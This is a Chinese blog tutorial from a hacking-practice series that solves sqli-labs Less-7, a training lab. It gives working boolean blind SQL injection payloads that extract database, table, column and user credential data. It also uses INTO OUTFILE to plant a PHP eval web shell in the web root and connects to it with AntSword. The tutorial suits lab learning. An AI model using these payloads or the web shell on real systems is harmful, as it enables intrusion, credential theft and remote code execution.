【Try to Hack】sql注入 Less7 (into outfile和布尔盲注)
📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年7月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
@toc
🍫判断闭合方式
?id=1
?id=1’
加单号会报错,但是没有告诉我们具体的报错信息,所以无法使用报错注入
发现使用?id=1"
、?id=1")
、?id=1"))
不会报错
发现使用?id=1'
、?id=1')
、?id=1'))
会报错
不会报错的直接不看,肯定不是那种闭合方式
然后测试 ?id=1'--+
、?id=1')--+
、?id=1'))--+
?id=1’))--+
没有报错,所以闭合方式为’))
🍫布尔盲注
根据上面所述的,会有报错和不报错两种情况,所以就是bool型的
?id=1')) and 1=1--+
不报错
?id=1')) and 1=2--+
报错
?id=1')) and length(database())=8--+
获取数据库长度
?id=1')) and substr(database(),1,1)='s'--+
获取数据库第一个字符
?id=1')) and ascii(substr(database(),1,1))=115--+
获取数据库第一个字符
?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'
获取数据库第一张表名的第一个字符
?id=1')) and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
获取security数据库中users表中第一个字段的第一个字符
?id=1')) and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+
获得security数据库中users表中的第一个数据的第一个字符
🍫into outfile写入小马
首先数据库得要有写权限
在【Try to Hack】udf提权,有提到
对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值
show variables like ‘%secure%’;
在D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini
加上secure_file_priv="/"
?id=1')) order by 4--+
查字段 , into outfile的时候需要知道字段数目
报错了很容易知道字段数为3
使用@@datadir
来查询数据库的路径,可以使用上一步中提到的盲注来获得路径
写入文件路径为
D:\phpstudy_pro\WWW\sqli-labs-master\Less-7
需要对反斜线进行转义 D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7
?id=-1')) union select 1,2,'<?php @eval($_POST["admin"])?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php'--+
写入一个小马
用蚁剑去连接
🍫直接into outfile导出数据库名称、表名、字段名、数据值
?id=-1')) union select 1,user(),database() into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+
会显示报错,但是已经能够查看了
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt'--+
?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt'--+
?id=-1')) union select 1,username,password from users into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\5.txt'--+
很多内容来自这篇
- 点赞
- 收藏
- 关注作者
评论(0)